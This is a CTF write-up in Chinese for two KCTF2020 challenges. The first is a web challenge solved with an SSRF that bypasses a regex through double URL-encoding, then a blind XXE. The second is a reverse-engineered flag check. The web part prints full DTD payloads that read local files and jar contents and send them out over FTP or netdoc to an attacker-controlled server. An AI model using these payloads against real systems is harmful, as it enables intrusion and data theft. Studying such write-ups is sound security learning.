KCTF2020 WriteUp
/ / 阅读耗时 15 分钟第一题 至暗时刻
题目描述:
一道Web题,访问链接:
利用技术绕过限制,获得flag.txt文件中的值。
访问页面,是一张图片,查看页面源代码:
<html>
<head>
<meta charset="UTF-8">
<title>test</title>
</head>
<body>
<img src="/getimage?url=https://bbs.pediy.com/upload/attach/202009/236762_Y76C73KQC7MG83G.jpg">
<!--测试加载配置文件 /loadConfig?url=x.xml-->
</body>
</html>
发现一个被注释掉的url:
http://121.36.145.157:8088/loadConfig?url=x.xml
看样子貌似可以访问指定的url
但访问页面返回not allow ip
,IP不被允许:
尝试 X-Forwarded-For
伪造客户端IP
抓包到burp中,爆破了一些内网ip都显示not allow ip
:
仅192.168端就有60000多个ip,显然也不会是爆破去做-_-|
回顾前面的网页源码发现另一个用来加载图片的链接:
http://121.36.145.157:8088/getimage?url=https://bbs.pediy.com/upload/attach/202009/236762_Y76C73KQC7MG83G.jpg
是访问指定的url获取资源的,尝试修改url参数,返回如下的正则表达式:
illegal url! ^(http|https):\\/\\/[^?#\\/]*\\.pediy\\.com\\/.*
应该是要想办法绕过这个正则,访问指定的url
这个正则要求url是如下格式:
http://{1}.pediy.com/{2}
或
https://{1}.pediy.com/{2}
{1}处不允许出现’?’,’#’,’/‘字符
{2}处可以是任意内容
直接用’#’无法通过正则:
尝试进行URL编码,还是不能通过正则:
换其它符号试试,发现在做正则检查前会进行一次URL解码:
尝试进行两次URL编码绕过:
绕过成功,已经尝试去访问 https://127.0.0.1
了
在自己的vps起了web服务,用这个ssrf去访问,企图获得真实IP,然后用这个IP去利用第一个接口:
这里注意到,我的web是起在5000端口的,但直接输 http://ip:port
的形式会报错 invalid port number
所以’:’也要两次URL编码,访问成功,但是在我的vps获得的IP是 121.36.145.157
:
这不就是题目地这么,拿去 /loadConfig?url=x.xml
那里尝试,依然是 not allow ip
,行不通
又尝试ssrf http://127.0.0.1:8088/loadConfig?url=x.xml
这个url,构造请求:
http://121.36.145.157:8088/getimage?url=http://127.0.0.1%253a8088%2523.pediy.com/loadConfig?url=x.xml
返回结果,访问成功:
发到burp中继续尝试:
发现会从 /loadConfig?url=x.xml
指定的位置读取文件并当作XML来解析,猜测XXE漏洞
在自己的vps上放了以下payload:
=================================================================================
<!-- t.dtd -->
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "file:///etc/issue">
]>
<r>&sp;</r>
=================================================================================
构造请求:
/getimage?url=http://127.0.0.1%253a8088%2523.pediy.com/loadConfig?url=http://{my_vps_ip}:5000/t.dtd
没有正常回显内容,尝试用FTP协议把内容发送出来,payload:
=================================================================================
<!-- c.dtd -->
<?xml version="1.0"?>
<!DOCTYPE r [
<!ENTITY % data3 SYSTEM "file:///etc/issue">
<!ENTITY % sp SYSTEM "http://my_vps_ip:5000/d.dtd">
%sp;
%param3;
%exfil;
]>
=================================================================================
<!-- d.dtd -->
<!ENTITY % param3 "<!ENTITY % exfil SYSTEM 'ftp://my_vps_ip:30000/%data3;'>">
=================================================================================
并在vps的30000端口上起了ftp服务,脚本:https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb
构造请求:
/getimage?url=http://127.0.0.1%253a8088%2523.pediy.com/loadConfig?url=http://my_vps_ip:5000/c.dtd
在vps上接收到内容 /etc/issue
文件的内容:
但是尝试读含有特殊字符的文件时,就无法正常发送数据到vps:
而且没法查看目录,没办法找flag
之后又用netdoc协议试试,可以列目录,最终使用以下payload:
=================================================================================
<!-- g.dtd -->
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY % data3 SYSTEM "netdoc:///">
<!ENTITY % sp SYSTEM "http://my_vps_ip:5000/d.dtd">
%sp;
%param3;
%exfil;n
]>
=================================================================================
<!-- d.dtd -->
<!ENTITY % param3 "<!ENTITY % exfil SYSTEM 'netdoc://my_vps_ip:80/%data3;'>">
=================================================================================
构造请求:
/getimage?url=http://127.0.0.1%253a8088%2523.pediy.com/loadConfig?url=http://my_vps_ip:5000/g.dtd
在burp中可以回显,已经可以列目录,读文件了:
之后就是列目录,看文件。。。
最后在/home下有一些jar包:
用jar:file:读jar包,尝试了spring jar包常见的路径
最后找到flag.txt的路径是 vip-demo-0.0.1-SNAPSHOT.jar
包下的 /BOOT-INF/classes/flag.txt
,payload:
=================================================================================
<!-- g.dtd -->
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY % data3 SYSTEM "jar:file:///home/vip-demo-0.0.1-SNAPSHOT.jar!/BOOT-INF/classes/flag.txt">
<!ENTITY % sp SYSTEM "http://{my_vps_ip}:5000/d.dtd">
%sp;
%param3;
%exfil;n
]>
=================================================================================
<!-- d.dtd -->
<!ENTITY % param3 "<!ENTITY % exfil SYSTEM 'netdoc://101.37.76.66:80/%data3;'>">
=================================================================================
获得flag截图:
获得的flag是 flag{congratulations-Path-the-spring-boot}
签到题
目标程序执行如下:
需要输入正确的flag
直接在IDA Pro中打开 F5查看
分析代码:
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *v3; // rdx
signed __int64 v4; // rcx
int *v5; // r8
__int64 v6; // rax
char v7; // dl
char v8; // cl
char v9; // cl
int v11; // [rsp+20h] [rbp-E0h]
__int16 v12; // [rsp+24h] [rbp-DCh]
char Dst; // [rsp+30h] [rbp-D0h]
char v14; // [rsp+31h] [rbp-CFh]
char v15; // [rsp+32h] [rbp-CEh]
char v16; // [rsp+33h] [rbp-CDh]
char v17; // [rsp+34h] [rbp-CCh]
int v18; // [rsp+35h] [rbp-CBh]
__int16 v19; // [rsp+39h] [rbp-C7h]
char v20; // [rsp+3Bh] [rbp-C5h]
char v21; // [rsp+130h] [rbp+30h]
char v22; // [rsp+131h] [rbp+31h]
char v23; // [rsp+132h] [rbp+32h]
char v24; // [rsp+133h] [rbp+33h]
char v25; // [rsp+134h] [rbp+34h]
char v26; // [rsp+135h] [rbp+35h]
memset(&Dst, 0, 0x100ui64);
memset(&v21, 0, 0x100ui64);
sub_140001250((__int64)"KCTF 2020!\n");
sub_140001250((__int64)"http://bbs.pediy.com\n");
sub_140001250((__int64)"Please input your flag: ");
sub_1400011E0((__int64)"%s", &Dst, 256i64);
v3 = &Dst;
v4 = -1i64;
do
++v4;
while ( *(&Dst + v4) );
if ( (_DWORD)v4 == 12 && Dst == 102 && v14 == 108 && v15 == 97 && v16 == 103 && v17 == 123 && v20 == 125 )
{
v5 = &v11;
v6 = 0i64;
v12 = v19;
v3 = 0i64;
v11 = v18;
while ( (unsigned __int8)(*(_BYTE *)v5 - 48) <= 9u )
{
v3 = (char *)(unsigned int)((_DWORD)v3 + 1);
v5 = (int *)((char *)v5 + 1);
if ( (unsigned int)v3 >= 6 )
{
v21 = v18;
v7 = v18 + BYTE1(v18) - 48 + BYTE2(v18) - 48;
v22 = v18 + BYTE1(v18) - 48;
v23 = v7;
v8 = v7 + HIBYTE(v18) - 48;
v3 = &v21;
v24 = v8;
v25 = v8 + v19 - 48;
v26 = v25 + HIBYTE(v19) - 48;
while ( 1 )
{
v9 = *(&v21 + v6++);
if ( v9 != a2Efi[v6 - 1] )
break;
if ( v6 == 7 )
{
sub_140001250((__int64)"You are winner!\n", &v21, "2;=EFI");
return 0;
}
}
break;
}
}
}
sub_140001250((__int64)"Try again!\n", v3);
return -1;
}
输入的字符串从Dst处开始存放
首先会做以下判断:
查询ASCII码,DST、v14、v15、v16、v17和v20处对应的字符分别应该是
‘f’、’l’、’a’、’g’、’{‘和’}’
然后会继续做以下判断:
从v21往后的字符要分别等于a2Efi中的字符,
看到对应的字符是2;=EFI
ASCII码分别是 50 59 61 69 70 73
要比较六个字符,列出以下对应关系:
v21 = 50
v22 = 59
v23 = 61
v24 = 69
v25 = 70
v26 = 73
观察这六个变量的值是如何取得:
发现是根据v18和v19的值决定的
从上面定义处可以发现v18是一个int型变量,所以占4个字节,四个字节中的值分别设为A、B、C、D
v19是一个16位的int型,占2个字节,值分别设为E、F
BYTE1(v18) 取v18的第二个字节 B
BYTE2(v18) 取v18的第三个字节 C
HIBYTE(v18) 取v18最高位的一个字节 D
HIBYTE(v19) 取v19最高位的一个字节 F
v18 和 v19 在存放到一个字节的内存时,高位字节丢失,分别取最低位A和E
所以根据上图,列出以下关系式:
50 = v21 = A
59 = v22 = A + B - 48
61 = v23 = A + B - 48 + C - 48
69 = v24 = A + B - 48 + C - 48 + D - 48
70 = v25 = A + B - 48 + C - 48 + D - 48 + E - 48
73 = v26 = A + B - 48 + C - 48 + D - 48 + E - 48 + F - 48
得到结果:
A = 50
B = 57
C = 50
D = 56
E = 49
F = 51
对应的字符分别是:2、9、2、8、1、3
所以得到最终结果就是:flag{292813}
作者:Boringboys
原文链接:https://www.boringboys.top/2020/11/20/KCTF2020第一题WP/
版权声明:本文采用BY-NC-SA协议授权,转载请遵守此协议